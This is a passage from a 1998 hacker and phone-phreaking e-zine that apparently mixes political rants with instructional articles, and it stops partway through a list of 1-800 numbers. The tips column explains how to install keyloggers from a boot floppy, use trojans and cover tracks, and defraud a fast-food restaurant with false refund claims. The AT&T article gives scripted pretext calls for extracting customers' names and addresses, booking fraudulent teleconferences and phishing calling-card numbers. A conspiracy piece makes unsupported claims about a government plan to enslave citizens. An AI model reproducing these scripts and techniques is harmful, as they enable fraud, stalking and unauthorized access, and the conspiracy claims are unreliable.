point. I hope that it is. But +until then, we have to find real solutions... and real ways of fighting +against Big Brother. We have to try to preserve our right to speak and +express ourselves freely. Once it has been taken from us, we won't be +able to get it back. And you can be sure that Big Brother is taking as much +as he can... as fast as possible. That's nothing new either. + +So, what can/should be done? Well, people *should* unite. Ribbons definitely +aren't enough and they don't represent true unity. Putting up a ribbon +on a web site shouldn't really make you feel a sense of unity with others. +If it does, there's something wrong. True unity means a lot more than just +that... and takes a lot more than that to achieve. ;) Honestly, blue +ribbons are a start, but there's more that should be done to fight Big +Brother's senseless, vicious attacks. Publicly voicing your objections +is one non-violent way. Organizing protests is another. Writing articles +is yet another method of expressing your views. At least it's something. In +the end, doing something is better than sitting idly by and doing nothing. +Afterall, complacency and indifference are common but they never achieve +anything. Besides, words and actions are much more powerful than ribbons are +anyway. So strive to become active and fight against what you oppose. + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +BLACKENED'S TIP OF THE MONTH - {BLACKENED} +Seven stupid h/p tips and tricks. + +I was going to call this month's article "Stupid phone tricks." but decided +that wouldn't be appropriate for certain types of info that will be included. +So, instead of naming it that, I opted for a more generic title. Anyways, +here's a small list of simple things that work almost anywhere. Of course, +whether you use them or not is entirely your choice. ;) + + +Shoulder surfing - This is an old trick, but it still works today and can be +applied to almost anything (systems, phones, etc.) that requires a login, +password or a passcode. In order to shoulder surf with any measure of success, +you must be able to stand behind the person in a manner that's not noticeable. +In other words, if the mark detects what you're trying to do... it's very +likely that they won't continue to enter their information while you are +standing there watching them. So, be discrete and stealthful. It takes some +practice and a small amount of skill to pull off. + + +Key trapping - Key trappers/grabbers/recorders are available for basically +every operating system. The only thing that's required to make it work is +to use one that's compatible with the OS the target system has installed. +If it's say Win95, find and use one for that OS. If you have physical access +to the system, reboot it, boot up from a bootable floppy, install the key +trapper in memory. Obviously it's a good idea to read the docs first so +that you know how to install it, can use the options properly and know where +the output log file storing the account info will be. It's just a quick way +to get logins and passwords on systems that lack physical security. + + +Using *67 - Here's a little tip... You can fill the CID buffer with *67 by +entering it multiple times. As in, just adding *67 ten times to your dialing +string makes it more difficult to trace the call back to you. Basically, +it's better than nothing if you're somewhere and don't have diverters or +anything else handy to use. + + +Phones tricks at Box stores - There are many tricks that can be used at the +big "Box stores". Some of the phone tricks can be a lot of fun too. ;) +Stores such as Wal-Mart have phones in various departments that are readily +accessible to customers. Pick up the phone, select a free line by pressing +a button that's not flashing, try dialing '9' to get a dial tone... and then +dial out. Most of the big Box stores also have an internal intercom system. +And, out of stupidity, the code to use it is usually marked right on the +phone's directory listing. Hehe. Memorize some employee's names (look at +their name tags) and page them. Or, find and document the extensions by +experimenting at various Box stores and then use that information to play +tricks on their employees and customers. The possibilities are endless. So, +use your imagination and have phun while you're in stores such as Wal-Mart, +Office Depot, Target, Future Shop, etc. ;) + + +Trojans - There are obviously many varieties of trojans. Some of them +do damage, nuke data, etc. However, there are others that create backdoors +on systems or exploit existing flaws in security. So, if you're a newbie that +can't program, those are ones that you should look for as they'd be useful to +you. Just make sure you know something about the system before using them... +As in, how to cover your tracks after gaining access. (editing the logs, +removal of the trojan, etc.) + + +1-800s/888s - Third party billing, teleconferencing tricks, social engineering +the operators for information, diverting, defeating ANI, operator assisted +calls, scanning tips/tricks, owning your own 1-800, etc. There are too many +1-800 "tricks" to list and mention in one small section. So, I'll cover them +separately in a future article that's dedicated to describing their usage. +It'll explain in detail the various techniques and tricks that I know of. + + +Hax0ring (or scamming) Taco Bell - This technique can be applied to other +fast food "restaurants" as well, but I've chosen to use Taco Bell as the +example since they are a great, naive, willing mark. ;) It works best +if you're with a group of friends, have a car, use the Drive-Thru and order +a lot of food. (the food at Taco Bell is relatively cheap anyways). After +ordering whatever you want (tacos, burritos, nachos, drinks, combos)... +drive home and eat your meal. Then call the Taco Bell on the phone and +tell the loser that answers that you were just there and got ripped off. +Explain to them how you were missing 2 tacos, 1 coke, 1 nacho supreme and +an order of fries. Then start bitching about how the ground beef wasn't +fully cooked, the drinks were watered down, etc. Sound angry and convincing. +Make sure you keep the bill/receipt. They'll probably say "We've very sorry. +If you return tonight/tomorrow with the receipt, we'll refund you sir. Again, +we apologize for any inconvenience." Reply with "Yeah. I definitely will." +Unless you try the same trick and try to scam the same Taco Bell every week, +they won't catch on. Afterall, most of the managers are complete idiots. +Why else would they be working full-time at Taco Bell? ;) + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +CONSPIRACIES AND COVERUPS - {COVERUPS} +Examining Operation Garden Plot. + +Did you know that the United States government considers tax protesters, +militia groups, and people that publicly stand against the government as +"Disruptive Elements" in which deadly force must be used against if they engage +in "civil disorder?" That is what is stated in Annex A, Section (b) of the U.S. +Government's "Civil Disturbance Plan" codenamed Operation Garden Plot. + +In very basic terms, Operation Garden Plot is a plan devised by the U.S. +Government to use the U.S. Armed Forces against U.S. citizens for the purpose +of "assisting civil authorities in the restoration of law and order" during a +"civil disturbance". In honest terms, it is using a country's standing army +against its own citizens. That is one thing the Founding Fathers fought against +during the American War of Independence. + +In this article, I will tell how Operation Garden Plot will be implemented, and +what powers the Feds will have when they take over from local and state law +enforcement. Operation Garden Plot is one more bit of evidence to prove that +the U.S. Government acts in direct contradiction to the thoughts and beliefs of +the brave people that founded the United States. + +Under Appendix 3 to Annex B of Plan 55-2 (Operation Garden Plot), all Federal +forces would maintain *total* control over a situation that local and state law +enforcement are unable to stop. Disruptive Elements like those I mentioned in +the first paragraph of this article can be dealt with with deadly force. In the +same breath, Operation Garden Plot claims that its purpose is only to support +civil law enforcement "authorities." It brings to my mind the example of a pimp +that claims he only "supports" his hookers. An active pimp could eventually be +charged and imprisoned. The Feds shouldn't be able to give themselves power +over the situation, and in the same breath wash their hands by saying "We're not +involved directly... we're only taking a supporting role." Ah well, that's just +my opinion. + +In any situation that activates Operation Garden Plot, it will require the +Secretary of Defense giving any "civil disturbance situation" a classification +of CIDCON-1 (which stands for CIvil Disruption CONdition, code 1). The plan +states that under this condition, the U.S. Armed Forces and Reserves (Army, +Air Force, Navy, Marine Corp., National Guard, etc.) to be called into action. +Under Annex A, Section D, the Secretary of Defense requires the President to +issue an Executive Order to utilize the U.S. Armed Forces against citizens in +order to establish "peace" and "law and order." Operation Garden Plot allows +the President to mobilize the armed forces without declaring a National +Emergency. + +The majority of the text contained in Operation Garden Plot deals with very +dry and cryptic procedures dealing with command structures, CIDCON levels, +procedures for airlifting military units to the civil disturbance, intelligence +and counterintelligence, etc. In my opinion, the greatest conspiracy is what +was not in the copies of Operation Garden plot that I obtained. There is no +information dealing with the conduct of the military once they engage +"disruptive elements" at the disturbance site. All I could find is that lethal +force could be used by the U.S. military in order to "restore peace." +Basically, all rules and laws applying to the government and the military seem +to be out the window after Operation Garden Plot is activated via the +Presidential Executive Order I mentioned above. + +I'll give you some examples by showing you portions of Operation Garden Plot: + +4. KEY ASSUMPTIONS: + + a. Civil disturbances will normally develop over a period of time, + permitting a progressive state of alert and accomplishment of preliminary + and precautionary measures. However, situations may arise which could + require the immediate dispatch of military forces without progressive + alerting. + + b. Simultaneous civil disturbances requiring commitment of Federal forces + may occur in any of the 50 states, District of Columbia, Commonwealth of + Puerto Rico, US possessions and territories. + + c. No level of mobilization in response to contingency operations will be + in effect. +--- + +Above are the key assumptions that the USAF will make once CIDCON-1 is achieved +and the President issues the Executive Order that enacts Operation Garden Plot. +Leave it to the government to make assumptions about a situation before it has +even occurred. There are various sections of Operation Garden Plot that are +entitled "Assumptions." Hopefully their assumptions come back to haunt them if +a civil disturbance doesn't conform to their lame assumptions. + +--- +a. Public Affairs Objectives: + +(1) Develop procedures for the public release of appropriate information +regarding Air Force airlift and base support operations and the role of ANG +and USAFR forces in fulfilling Air Force support responsibilities in civil +disturbance control operations. +--- + +This is part of the USAF's public release policy during an Operation Garden Plot +operation. Notice the careful use of wording so that they are totally free to +withhold information, lie, or slant the truth in their favour. Between the USAF +and the biased pro-government media, any public information releases from a +Garden Plot information will be misinformation at best. :-( + +--- +(2) Communications Intelligence (COMINT) has the unique feature of being +real-time information. It is often possible for COMINT information to be +available to a user/decision maker within minutes. Some communications +factors to be considered are: + +(e) The use of unauthorized crypto materials such as homemade codes and +grid reference systems. +--- + +How do you like that? What they forbid American citizens to use, they will use +themselves. If they feel free to use unauthorized cryptography, what is to stop +Garden Plot forces from using other "unauthorized" or illegal weapons, devices, +and actions? Absolutely nothing. That is the danger when the Armed Forces are +allowed to step their bounds and participate in domestic operations like a riot. + +On the surface, the few Americans that would take the time to investigate +Operation Garden Plot would probably support it. Of course they support the +very "system" that their "society" uses to prey upon their individual freedoms. +The use of a nation's standing army against its own people is something that the +globalists in the UN call "barbaric" and an abuse of power. Well, the U.S. +Government didn't even try too hard to coverup the fact that they are ready to +wield the same abuse of power. Operation Garden Plot is designated +"UNCLASSIFIED" by the USAF, although I have two different copies... both of +which are censored in different areas (sections of text were missing, etc.). + +There is much more to Operation Garden Plot than what is on the surface. What +happens after the "disruptive elements" are eliminated? What will stop the +military from invading your home to search for weapons or devices that could be +"fuelling" the civil disturbance? What would stop the military from rounding up +people and putting them in a work or concentration camp? Nothing in my opinion. +When local and state cops in riot gear plus the USAF are patrolling the streets +of your hometown, there are only two choices if they surround your home; submit +or die fighting for your freedom. + +Operation Garden Plot could be used as a first step in the globalists plan +should they decide to throw the U.S. into physical slavery. Several Garden Plot +missions could be activated to eliminate urban centres where they foresee heavy +resistance. Then a national state of emergency would be called when those +"riots" never seem to be quelled. Then the events of my article in the last +issue of the Damage, INC. Newsletter could be initiated. + +Written by Shatazar ú Damage, INC. (C)opyright 1998. + + +CORRUPTION AND GREED - {GREED} +Saddam "insane" Hussein vs Billy "bad ass" Gates: + +We've included articles written on Saddam Hussein and Bill Gates before. +However, I felt that a comparison of the two greedy bastards was in order. +Therefore, I've decided to write an article that lists various "points +of greed". At the end, they'll be tallied and the one with the greatest +score will be given the title of "King of Greed". I will try to remain +as impartial as possible and allow for the greediest of the two to claim +their title, based solely on merit. So, if you think that I've been unfair +to either party after having read this article in its entirety, please send +me Email and express your disagreement. But just make sure you explain why +by giving clear reasons and supporting your point for why the "victor" was +undeserving of being named the greediest. + +Okay, Saddam Hussein vs Bill Gates. Obviously both are extremely greedy. +But which one is greedier? Which one has demonstrated that they put their +own greed above all else? Which one has proven themselves to be the +undisputed "King of Greed"? Which is more deserving of such an anointment? +That's what is so vexing. At any rate, let the comparisons begin... + +Bill Gates resides in a multi-million dollar ($100+ million) mansion in Seattle +that's equipped with an indoor pool, mini-golf course, trampoline room, digital +"paintings" on the walls, underground parking, etc. But of course, the cost of +his massive retreat didn't even make a small dent in his personal net worth. +Afterall, Gates is the world's richest man, worth over $50 billion (and growing +steadily at an enormous rate of approximately $100 million/day). That's not +too much money, is it? He has to live somewhere though, doesn't he? Gates +might as well impress the public, his neighbours and business associates while +he's still the big, greedy geek on the block. So, perhaps Gates' Xanadu is +somehow justified. It's not that ridiculous to spend that much and he deserves +to have a semi-fancy shack to call home, right? I mean, lest we forget, he did +give the world Windows. You decide if that's a fair exchange. + +Saddam Hussein shuttles from palace to palace. Each of them is enough to +impress the most corrupt fat cat visitors that he invites from any nation +in the world. They include lavish furnishings, expensive art work, marble +floors, and of course, as many self-portraits that he can commission to be +painted. Needless to say, Hussein doesn't stay in any one palace long enough +to get to know the floor plan by memory. Hussein also owns a fleet of taxi +cabs, limousines, planes, helicopters and has his own personal train. All of +those vehicles help to transport him, thus making him an evasive target. +Saddam and his son have a large collection of luxury cars as well. It's been +said that together they possess well over a thousand vehicles. But maybe they +just don't like driving the same car every day, month or year. So, I guess +that's excusable. Afterall, rich dictators can't drive Ladas or Yugos. :) + +Bill Gates has acquired many other companies, through buy outs and scrupulous +business tactics. He attacks the competition and takes no prisoners. He's +also been known to bribe and blackmail other companies that sell Microsoft +products into not selling competitor's software. I guess that could be viewed +as unethical behaviour. He's put a few people out of work as well. Some might +even describe him as being a greedy, uncaring, ruthless dictator. Let's just +say that some believe Gates doesn't have a heart or a soul and leave it at that. + +Saddam Hussein tried to 'acquire' Kuwait to expand his territory and increase +his profits in the oil business. Or perhaps he just needed more real estate +for new palaces? Regardless of that, the Gulf War resulted due to Iraq's +invasion of Kuwait. Damage was done and lives were lost during the war. +Hussein hasn't apologized, shown any remorse, or given much of a reason for +his aggressive actions. However, he has personally profited from them. +The sanctions and oil embargo haven't stopped Saddam from exporting oil to +fund the construction of new palaces. His son devised a way of sneaking +the oil tankers past the guards sort of speak, by flying Iranian flags on +their ships. Ingenious isn't it? That's just the tip of the iceberg though. +Then again, it's not of much benefit to the Iraqi people since the money gained +from smuggling oil out of the country isn't distributed to them. The term +"sharing the wealth" isn't in Hussein's vocabulary. But what can be expected +from a dictator? We can't be too harsh on him for acting the part, can we? +Should he be faulted for doing what every other dictator would do in his +position? On the same note, we should be able to forgive his methods... +(threatening, killing, torturing citizens, using chemical and biological +weapons, etc.) since afterall, he is a dictator. So, we'll let those minor +character flaws slide for now. + +Bill Gates and his company, Microsoft, release overpriced, poorly programmed, +bug ridden, inefficient software. They're a monopoly by choice and want +to keep it that way. But other than Microsoft customers, who suffers? Does +Gates' greed affect anyone besides them? The answer is, yes. The competition +suffers, therefore the software consumers suffer. And, hardware manufacturers +have adopted Windows. So, it's now difficult to buy any computer hardware +that isn't designed specifically for Windows. In other words, compatibility +is an issue. Winmodems are just one example. The greed of one man and his +corporation can indeed directly affect those that don't support it. Choices +are taken right out of our hands. That's exactly the way Gates wants it too. + +Saddam Hussein's greed directly affects the citizens of Iraq. They suffer +and live in poverty while he pilfers billions of dollars from the oil rich +desert. But if you watch CNN, read newspapers or listen to the news on the +radio, then that's already clear. The black market has been very good to +him in recent years. The profits made from selling oil are used to fund the +construction of more palaces, supplies and imported luxury goods. Hussein +flaunts his wealth and blatantly defies the United Nations. It's obvious that +he isn't worried about Iraq being bombed for not complying with allowing UNSCOM +weapon's inspections. He also poses a danger to the rest of the world and it's +all due to his own greed, his defiance, and his ego. Hussein even has the +ability to drive up crude oil prices. He loves showing and exerting his power +and control of the Iraqi people. Basically, everything that he does is done to +benefit himself. He thinks of no other before making decisions. + +Gates recently donated $100 million to charity, to be used for vaccinating +children in third world countries. That charitable deed won't go unnoticed, +especially since Bill Gates isn't known for his generosity. It's still +nothing compared to his net worth, or compared to Ted Turner's donation +of $1 billion. It could even be a ploy by Gates to gain positive publicity. +Afterall, there is that nagging anti-trust suit still looming over Microsoft. +But at least it's something, even though it's a huge tax writeoff for him. + +To my knowledge, Saddam Hussein hasn't made any charitable donations, in +any amount, ever. I could be wrong, but I don't think he's famous for +giving vast sums of money to charity. Again, I could be mistaken and +Hussein could very well be the first generous dictator in history. If so, +I must be misinformed about him as I've yet to hear any words to that affect. + +Those are just some points about both greed mongers. I could go on and on +and continue listing reasons as to why they are greedy. But those should be +sufficient to get the message across. They are by no means the only greedy +individuals on the planet. But they do stand out in my mind and I believe +I've established the fact that they're in the upper echelon of the greedy +elite. They're corruption and greed are almost unmatched by any other. Due to +Gates' recent charitable donation, he has regretfully dropped down to second +greediest. It was a very close race though. That's difficult to say since I +despise him greatly, but I have to be fair, impartial and unbiased. Therefore, +as a result, Saddam Hussein wins. He is the new undisputed "King of Greed" and +will hold that prestigious title until such time as it's usurped. I feel that +he's proven himself to be more than deserving. Forever greedy. Forever +defiant. Relish in your victory Saddam. Cherish it. Savour it. Brag about +it. Shine and polish the non-existent award that we've so generously bestowed +upon you. Don't feel honored by it though, for you are without honor. Indeed, +you are the greediest of the greedy. Hopefully Operation Desert Fox (or +Operation Fat Cat) will punish you for your obsessive greed by destroying some +of your precious presidential palaces. Your corrupt allies; China, Russia and +to a lesser extent France, can't help prevent any damage from occurring. They +can't save you now. Just make sure you remember to hide in your bunker like a +fucking coward when our cruise missiles are let loose on you yet again! :) + + +"Greed... is good. Greed is right. Greed works." - Gordon Gekko + +I don't agree with the above quote. In fact, I strongly disagree with +that. Greed isn't good. It isn't right. And it doesn't work. Please, +don't get me wrong. I'm an American, born and raised on Capitalism. By +no means am I attempting to espouse the virtues of Communism. But, on the +other hand, greed and capitalism aren't necessarily one in the same. At +least not in my view they aren't. Capitalism works. Creating open markets +that allow people to start their own businesses and prosper is a good thing. +A free economy can, in many cases, benefit the poor, working class and middle +class. It's not perfect, but it's a better system than Communism. However, +greed is something different. It doesn't work towards the common good. By +its very nature, greed is individualistic. It's about amassing wealth, +hoarding, lusting for more than you'll ever need. In fact, it is illogical. +And in many ways, the greedy don't contribute towards society as a whole, +including the economy of capitalistic nations. The reason is that their +great wealth isn't distributed or in circulation. Eventually, the greedy +stagnate (or their funds become stagnant). Basically, the money is wasted +and could be put to a better use. So, I am against greed and those that +are greedy. They are greedy not for need, but for their own perverted +desire of wealth and more wealth. It's a neverending cycle of greed that +overwhelms them. In the end, it doesn't benefit them either. + +In conclusion, greed obviously isn't a good thing. To an extent, everyone +is greedy but there are many levels of greed. Each individual person is +just at one part of the scale. The problem is that the greediest people +affect all of the others. Their greed makes less fortunate people suffer +economically. It also drives them to accumulate more and more in a feeble +attempt to validate themselves. They become addicted as they lust for more +wealth. Their only concern is increasing their own fortune. And eventually +their expensive material possessions don't mean anything. Only the numbers +carry any meaning. So, they try to push the numbers higher, profit more, +go up the scale and become the richest of the rich. Greed is a trap that +they fall into. It doesn't represent happiness. That cannot be bought. +But the greediest of the greedy can't recognize that, so they continue to +press on... all the while trying to impress others with their wealth. At +a certain point, their net worth of billions seems less than impressive to +them. They're like an anorexic person that looks at themselves in the mirror +and thinks they're fat. The greedy never think they have enough though. +They're fat cats that are starving for more. They can't even begin to +comprehend their own immense wealth. Don't pity them though as much of what +they have has been paid for in part by us. Many greed driven Fortune 500 +companies receive millions in tax breaks yearly. The tax payers unwillingly +fund huge corporations due to the deals they make with the government. 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However, I've chosen to focus my attention +on them in particular since they're gullible, very willing to provide phreaks +with information and offer a nice teleconferencing system. At least that's +been my experience with them. Basically, AT&T Ops are usually easy to social +engineer and thus it's a good place to start. Just remember, not everything +is fool proof. If they're not foolish and you're a fool, then no method that +you try to use will work. :) But, you do have to be confident in your ability +to social engineer for information/services before attempting anything. And +you should practice and know what you're doing well enough to be convincing. +Sounding convincing is one thing, actually being convincing to an AT&T Op is +another altogether. So, don't just read this and think that you're an expert +"l33t" social engineer. Practice until you become proficient. + +Choosing an identity: +-------------------- + +This is very important as it directly affects your believability. You must +establish an identity that fits the situation in order to be successful at +social engineering the Op. If you don't, you'll sound fake and they'll +immediately catch on. In other words, shit like "Hi, I'm Joe the lineman. +Can you give me the AT&T 1-800 Maintenance number?" won't work. They'll +know you're not a lineman, since a lineman wouldn't have to ask for that +info. Or, "Hi, I'm Tim... one of the technicians at Blah Blah remote office, +can you do me a favour and put me through to the local CN/A office? I need +the CN/A for 555-1234. Thanks." That won't work either, since there aren't +too many circumstances in which a technician would require Customer Name and +Address info on someone. Plus, they wouldn't have to ask to be put through +or need to be given the number, etc. Unless they had a reasonable excuse for +not having the number to the CN/A office. + +Now that I've explained what not to say, I'll discuss some techniques and give +examples of conversations. Typically, the AT&T Ops answer the phone the same +way. Apparently, they're either all clones of each other or morons that can't +think for themselves. They have to rely on using memorized answers taken from +a script in their official handbook. It's too bad they don't have their own +unique personality, like some of the ld carrier Ops do. They're a little more +'interesting' to social engineer, in that sometimes they get pissed off with +you and start swearing, etc. And that's always phun. :) + + +Social Engineering for CN/A: +--------------------------- + +Okay, so you need to get your local CN/A (Customer Name and Address) number +and can't find it listed in any text files. You've scanned local exchanges +for hours and haven't found it. Don't panic! There's an easy solution to +your problem. If you don't want to obtain telco info (like CN/A numbers) +by trashing, then you'll have to social engineer it. Call your local billing +office, or one of the 1-800 AT&T numbers (not the AT&T Easy Reach 800s or +Teleconferencing) that are listed following this article. Or, try using the +U.S. West 1-800. Use the option to speak to an Operator, or with some you +simply need to wait through the automated menu options for a minute or so for +them to handle your call. They'll identify themselves and ask if you need any +assistance. That's when your newly acquired identity as technician begins. + +If anything goes wrong and they ask for your ID code, say that your supervisor +told you to call but didn't give you that info. Apologize profusely, be polite +and blame your mistake (or the entire situation) on your supervisor. Explain +that you were told to call and just doing your job, following orders, etc. +They'll understand. :) If you don't want to be a telco tech, then you can +always pretend to be from the repair office, and pick a city/location. You'll +have to make up a name (or trash to get one from an employee list, get a name +from the telco's VMS). And, you'll have to know a valid station number. Well, +actually, you don't have to know one, but it helps. Check the section that +lists carriers and look at the AT&T Station ID format... and figure the rest +out on your own. Here's a sample conversation of how to get the number for +a CN/A office. + +Dialing 1-800-222-0300 +(waits for operator to answer.) +Op: AT&T. How many I help you? +You: Hello. This is Bill Jones, repair station 32 here. The local CN/A +number in my listing seems to be incorrect, or out of service and I need +to find out a customer's address. Can you please tell me the correct number? +Op: Hold please... Okay, I don't seem to have it. +You: It should be listed in your handbook. Can you please check that for me? +Op: Yes, it's listed. Okay, the number is 800-222-2222. +You: To confirm, it's 800-222-2222? +Op: Yes, that's it. +You: Okay, thanks for you help. It's been a long day. +Op: Hehe. You're welcome. Goodbye. +You: Okay. Bye bye. + +In the above example, you have to pretend to be working for repair. If +you don't want to use that one, just say you're a tech (City/State)... +Choose a place for your location that isn't a major city. If the Op gets +confused or thinks it's too much of a hassle, tell them that the number +should be right in their handbook and ask them to look it up for you. + +Once you get the CN/A number out of them, dial up the office and the +conversation should go something like this... + +Dialing 1-800-222-2222 + +RINGING... + +CN/A Op: Hello, how may I help you today? +You: Hi. CN/A? This is Bill Jones, repair station 32 here. I need to +get the CN/A for (NPA) 555-3450. +CN/A Op: (click, click...typing) Yes, the customer's name is Phil Hackman. +You: Address? +CN/A Op: Boston, MA. +You: I need the customer's full address please. +CN/A Op: Okay, it's 123 Strange Street, Apt. #200. +You: Thanks. +CN/A Op: Your welcome. Goodbye. + +Unfortunately, some Ops are really arrogant and won't always give you the +info that you request. It's the same thing when you call the CN/A office +and request info on a number. Sometimes they'll give you the full name and +address, and other times they'll only give you the customer's name, city +and state. Or, if the CN/A Op becomes suspicious, they won't give you any +info at all. So, if the number you need info on is unlisted (if it's not, +then why would you want to CN/A them?) and you can't get it through any of the +Internet Reverse-Search Engines, CD-ROMs, etc. then you'll have to find another +way. There are quite a few ways to social engineer them over the phone for it, +but that's an entire article in itself. Therefore, I won't go into all of the +different ways that can be done. If you're really desperate for the CN/A info +for a number, try calling the local Bell billing office, customer service or +repair and say you're line is dead. Explain to them that you're calling from +a neighbour's house, a pay phone or something. They'll ask for the number of +the problem line, and give them the person's number that you want to CN/A. +You should hear them typing it in. Then Bell will probably ask you if you're +"Phil Hackman". They might give the address to you as well. It doesn't +always work though. If their number is unlisted it'll most likely be flagged +so they don't give that info out, or have a password on it. So, if they ask +you for the password, say you don't remember and hang up. Then try calling +it back an hour later and hope you get a really stupid Bell Op answering your +call. :) Again, it doesn't always work so it's a last resort method. + + +Setting up AT&T Conferences: +--------------------------- + +Alright, I've already explained how to setup conferences in a previous +article. However, I didn't include a sample conversation... and it seems +as though some people need to one to read and learn from. So, here it is. + +Use a COCOT phone, another line using a beige box, go to a junction box or +use your own home phone line if you want. Make sure you get the number of +the phone first using an ANI. If you're not paranoid and want to setup the +conference from home, make sure you divert and don't call into it using the +host pin or else you might just get billed for the entire conference. And +you definitely don't want that to happen, do you? :) + +Dialing 1-800-255-5500. + +RINGING... + +AT&T Op: Hello. AT&T Teleconferencing. Karen speaking. How may I help you? +You: Hi. I want to setup a dial-in teleconference. +AT&T Op: Your name please. +You: Eric Johnson. +AT&T Op: How many participants will be involved in the conference sir? +You: 8 (that's the number of ports it'll support) +AT&T Op: What time do you need this for? +You: 9:30pm Mountain. +AT&T Op: Duration? +You: 5 hours. +AT&T Op: I'll need the number for your location sir. +You: NPA-555-5555 (the number ANI gave you) +AT&T Op: Okay. I will call you back and give you the host and participant +pins once the conference has been setup. +You: Okay, goodbye. + +Wait around for 10 minutes or so for the Op to call you back. + +RING...RING. Pickup the phone and answer. + +You: Vivid Imaginations Corp. Eric speaking. (make up a more realistic +company name and sound confident) +AT&T Op: Hi Eric. This is Karen with AT&T. The conference that you request +has been setup. Your 800 number is 800-555-2001. Your host pin is 666 666. +Your user pin is 333 333. +You: Thanks. (write down the pins!) +AT&T Op: Have a good evening. Thank you for using AT&T. +You: Goodbye. + +If you can't hear them well enough, ask them to repeat the pins so that +you can confirm. Also, you can setup more than one conference with a single +phone call, days ahead of time if you wish. The biggest thing is to sound +business-like and act like you setup business conferences all of the time. +It also helps to have a fake name and business name ready to use. :) +Basically, there's no need to worry if you've never done it before. Trust me, +it's really easy to setup conferences as that's how the conversation usually +goes. So, get out there and have some phun. :) + + +Using Ops to divert: +------------------- + +Let's say you don't have a diverter and need to be able to divert a call. +Here's a well known trick to use. First, dial '0' and wait for an Operator. +Explain to them that you're at a pay phone and trying to reach (NPA) 555-5755 +(or a 1-800) but the '7' button isn't working. If they ask you to try +pressing it, just fake it and say "It's still not working." Ask the Op to +dial the number for you and most of the time they will. If you want to red +box the tone for a quarter dropping, that's your option. Some people use +Ops to divert when making calls from home as well. Of course, it's your +choice whether you want to use this method of diverting. + + +Scamming AT&T Customers: +----------------------- + +Here's a quick and easy scam involving calling cards. Just remember, I'm +not encouraging you to do this, or participate in any illegal, fraudulent +activities. In fact, quite the opposite. I'm just warning our readers +about it so that they don't get social engineered by someone that wants +their CC # to use on a carding spree. :) + +It's kind of lame and only works on naive people. The scam goes something +like this... + +(the person pretending to be an AT&T fraud squad employee picks a local number +in which they have the customer's name and address... then dials.) + +RING...RING...RING. + +Customer: Hello? +Scammer: Hello Mr. Scamelino. This is Kevin of AT&T. Sir, I'm calling to +notify you about an ongoing investigation involving the fraudulent use of +calling cards. We've noticed an increase in the number of long distance calls +billed to your CC in the last week, many of which were made to (NPA) 555-1234... +and since the calls were so frequent and long in duration, we thought we'd call +and ask about it. We were suspicious only because this type of thing has been +happening a lot in (insert your NPA) lately. Please let us know if you were +responsible for making those calls using your calling card. +Customer: No, I wasn't! That's very strange. How could someone +else use my card? I mean, how could they get my calling card number? +Scammer: Well sir, we still need to verify that your card was used. May I +have your calling card number so that we can confirm that we are indeed speaking +about the right card and calls in question? For security reasons, I ask kindly +that you call us back at (NPA) 555-2222 (the number you're beige boxing from) +and an AT&T representative will take your call. Please call that number, +identify yourself to them and give them your calling card number so that they +can run a check on it. The whole process will only take a few minutes of your +time, but can save a lot of hassles later on with billing. +Customer: Sure. I'll call them right away. Goodbye. +Scammer: Good night sir and thanks for your co-operation in this matter. +Customer: (dials 555-2222) +Scammer2: (plays taped AT&T greeting on pickup) AT&T. Robert speaking. How +may I be of assistance to you? +Customer: I was instructed to call by another AT&T employee. It's regarding +the use of my calling card. +Scammer2: Your name please? +Customer: Rick Scamelino. +Scammer2: Your calling card number? +Customer: It's blah blah. (obediently reads off the digits) +Scammer2: I'll check it for you. (Click, click, click - typing sound) Have +you made any LD calls to (NPA) 555-1234 in the past 48 hours using your calling +card sir? A number of calls to that number show up on my terminal. +Customer: Duh. (dumbfounded) No, I've never called that number. +Scammer2: We'll cancel them from your bill then. +Customer: Thanks! (sigh of relief) +Scammer2: You're welcome. I'm glad I could help and we're sorry for any +inconvenience this may have caused you sir. Thank you for using (ahem, abusing) +AT&T. Goodbye. +Customer: Bye! (said gleefully as the gullible customer smiles) + +(Sometimes the conversation is a lot more brief and the scammer won't even ask +you to call the telco back. They'll say there's been calling card fraud going +on and ask for the card number to "verify" it right away on the first call. +In that scenario, only one person is needed to do the scam. Also, Bell can +be substituted for AT&T as the telco calling.) + +The moral of the story is, don't get social engineered into giving out your +calling card number and guard it safely. Or, don't get/use a calling card. +If you already have one and notice that you've been billed for calls on it +that you didn't make, call them up right away and start complaining. :) + +This article's main focus was to show how to social engineer AT&T Ops for +services. However, don't neglect social engineering for information as it's +just as useful (perhaps even more useful/important) and a lot of phun too. :) + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1998. + + +Here's a list of numbers for the K0d3z Kiddeez to play around with. A +few notes: Lucent Technologies is part of Bell Labs. I only included +the AT&T numbers that apply to my article in some way. Obviously, there are +many other AT&T 1-800s for maintenance, support and such. A few numbers for +MCI, Sprint, Bell, Carriers and VMBs, etc. are also listed for you to call and +have phun with. Some of these are from old Damage, INC. scans, but before +including them I checked to make sure they're still active and identified +properly as once in a while the ownership of 1-800 numbers changes. (not +ownership of the actual exchange). If I misidentified one or made some other +error, let me know. Hopefully this list is of some use to you. If you happen +to do any scanning and find something interesting/useful, we'd appreciate it if +you sent it to us. Submissions of incomplete/partial/complete scans are all +acceptable. We're not looking for 1-800 PBXs, extenders, ANIs etc. or any +other codes that you use and don't want to be abused by others. Basically, +we're interested in telco #s, carriers (UNIX systems, dialups for packet +switched networks, etc.) and anything else that might be phun to explore. + +--- The following 1-800s were verified by Blackie Lawless (11/05/98). + +AT&T: +---- + +1-800-221-1120 AT&T Easy Reach 800. +1-800-221-4371 AT&T Easy Reach 800. +1-800-221-4437 AT&T Easy Reach 800. +1-800-221-4487 AT&T Easy Reach 800. +1-800-221-4493 AT&T Easy Reach 800. +1-800-221-4514 AT&T Easy Reach 800. +1-800-221-4521 AT&T Easy Reach 800. +1-800-221-4533 AT&T Easy Reach 800. +1-800-221-4546 AT&T Easy Reach 800. +1-800-221-4554 AT&T Easy Reach 800. +1-800-221-4599 AT&T Easy Reach 800. +1-800-221-4654 AT&T Easy Reach 800. +1-800-221-4665 AT&T Easy Reach 800. +1-800-221-4681 AT&T Easy Reach 800. +1-800-222-0300 AT&T Main Number. +1-800-222-0400 AT&T Business Office. +1-800-222-3000 AT&T Customer Service. +1-800-225-5288 AT&T 1-800-CALL-ATT. Operator assisted, collect, credit card + calls, customer service and information. +1-800-225-5624 AT&T Easy Reach 800. +1-800-232-1234 AT&T Teleconferencing. +1-800-255-1242 